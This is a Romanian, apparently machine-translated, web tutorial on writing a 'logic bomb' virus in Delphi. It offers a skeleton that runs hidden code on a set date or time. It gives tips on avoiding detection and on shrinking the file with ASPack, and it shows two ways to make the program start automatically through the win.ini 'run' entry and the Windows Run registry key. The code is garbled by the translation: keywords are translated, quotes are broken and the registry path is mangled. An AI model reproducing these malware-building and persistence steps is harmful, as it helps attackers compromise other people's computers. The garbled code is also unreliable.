Bună ziua cititorului. Bine ați venit la lecția de a face o bombă logică. O bombă logică este (dacă nu mă înșel), atunci acesta este un fel de virus. Principiul său este simplu. Acesta rulează un anumit cod atunci când sunt îndeplinite anumite condiții. Adesea, o astfel de condiție este timpul sau data.
Așa că treceți la codul programului:
0) Începeți Delphi.
1) Creați un nou proiect.
2) Eliminați formularul din proiect. (proiect => eliminați din proiect => alegeți formularul => OK => fereastra va apărea, trebuie să fiți de acord => totul! Formularul a fost șters)
3) Să deschidem locul pentru scrierea codului (project => view source =>
Programul log_bomb; // Numele poate fi orice
Folosește ferestre; // Plug-ins, mai mici. cu atât mai bine.
începe
// Dacă data este 11.11.1111 atunci codul este scris
Dacă datetostr (data) = '11 .11.1111 'atunci
Începeți // Între început
// Codul în sine, care este executat atunci când condiția
End;
Și acum niște sfaturi.
1) Întotdeauna la final este mai bine să scrie EXIT; Nu este prins nu este distrus - legea de viruși.
2) Dacă doriți ca programul să funcționeze la un moment dat. Că este necesar să scrieți următoarele:
Dacă timetostr (timp) = '22: 22 'atunci
începe
// Cod
End;
3) Uneori, atunci când conectați o mulțime de module, programul primește "King size"
În aceste cazuri, trebuie să utilizați ASPACK'om. Aceasta va reduce dimensiunea aproximativ de două ori.
4) Verificați întotdeauna copia de rezervă automată. Poate ceva de genul asta lucrează deja pentru tine.
Acum vă voi spune cum să faceți acest lucru în două moduri: prin intermediul fișierului win.ini și prin intermediul registrului. Să începem.
1) way Via Win.ini
Pentru aceasta, trebuie să știți cum să lucrați cu fișierele INI.
Programul INIFI;
Foloseste inifiles;
// Declarați o variabilă pentru a lucra cu fișiere ini
Var reg: tinifil;
începe
// Selectați memoria pentru variabila, deschideți fișierul
reg: = tinifile.create ("win.ini");
// Înregistrați-vă direct
reg.writestring ('windows', 'run', application.ExeName);
// Memorie gratuită
reg.free;
ieșire;
end.
Să ne ocupăm mai degrabă de această linie:
// Înregistrare regulară variabilă a unui șir de șir de tip, care este indicat în paranteze
2) Calea prin registru.
Este foarte similar cu modul 1), lucrați doar cu registrul și alte variabile. Ei bine, atunci. Să începem.
Programul de înregistrare;
Foloseste inifiles;
Var încărcare: treginifile;
// Selectați sucursala de registru
load.RootKey: = hkey_local_machine;
/ / Selectați tasta
load.OpenKey ("softwaremicrosoftwindowscurrentversion", false);
Load.free;
ieșire;
end.
E simplu. Să luăm în considerare principalele puncte:
Variable.Rootkey: =
Tastă variabilă (nume cheie)
Articole similare
Trimiteți-le prietenilor: